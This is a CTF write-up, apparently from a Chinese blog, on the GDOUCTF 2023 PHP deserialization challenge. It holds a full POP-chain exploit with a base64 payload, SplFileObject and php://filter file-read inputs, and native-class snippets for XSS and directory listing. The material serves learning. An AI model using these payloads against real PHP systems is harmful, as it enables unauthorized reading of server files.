(反序列化)[GDOUCTF 2023]反方向的钟

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

先看看利用点:

应该是_POST\['a'\](_POST['b']);

尝试构造链子school::IPO() -> school::__wakeup ->classroom::hahaha->teacher

编写payload

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name='ing';
    public $rank='department';
}

class classroom{
    public $name='one class';
    public $leader;
}

class school{
    public $department;
    public $headmaster='ong';
}
$a=new school();
$b=new classroom();
$c=new teacher();
$a->department=$b;
$b->leader=$c;
echo base64_encode(serialize($a));
?>

结果:                      
Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjoyOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO319czoxMDoiaGVhZG1hc3RlciI7czozOiJvbmciO30=

接下来构造post的a和b即可

尝试a=system&b='ls'不行

上网查用php的内置类SplFileObject来读取文件内容

a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

即原生类和伪协议

原生类

php原生类

Error/Exception XSS

<?php

$a = serialize(new Exception("<script>alert(1)</script>"));

echo $a;

SplFileObject 读文件

<?php

$a = new SplFileObject("flag.txt");

echo $a;

DirectoryIterator 遍历目录

<?php

$a = new DirectoryIterator(".");

foreach ($a as $b) {

echo $b->getFilename() . "\n";

}

FilesystemIterator 遍历目录

<?php

$a = new FilesystemIterator(".");

foreach ($a as $b) {

echo $b->getFilename() . "\n";

}

相关推荐
并不会2 小时前
常见 CSS 选择器用法
前端·css·学习·html·前端开发·css选择器
龙鸣丿2 小时前
Linux基础学习笔记
linux·笔记·学习
Nu11PointerException4 小时前
JAVA笔记 | ResponseBodyEmitter等异步流式接口快速学习
笔记·学习
@小博的博客8 小时前
C++初阶学习第十弹——深入讲解vector的迭代器失效
数据结构·c++·学习
南宫生8 小时前
贪心算法习题其四【力扣】【算法学习day.21】
学习·算法·leetcode·链表·贪心算法
残月只会敲键盘9 小时前
面相小白的php反序列化漏洞原理剖析
开发语言·php
ac-er88889 小时前
PHP弱类型安全问题
开发语言·安全·php
ac-er88889 小时前
PHP网络爬虫常见的反爬策略
开发语言·爬虫·php
知孤云出岫9 小时前
web 渗透学习指南——初学者防入狱篇
前端·网络安全·渗透·web
yanwushu9 小时前
Xserver v1.4.2发布,支持自动重载 nginx 配置
mysql·nginx·php·个人开发·composer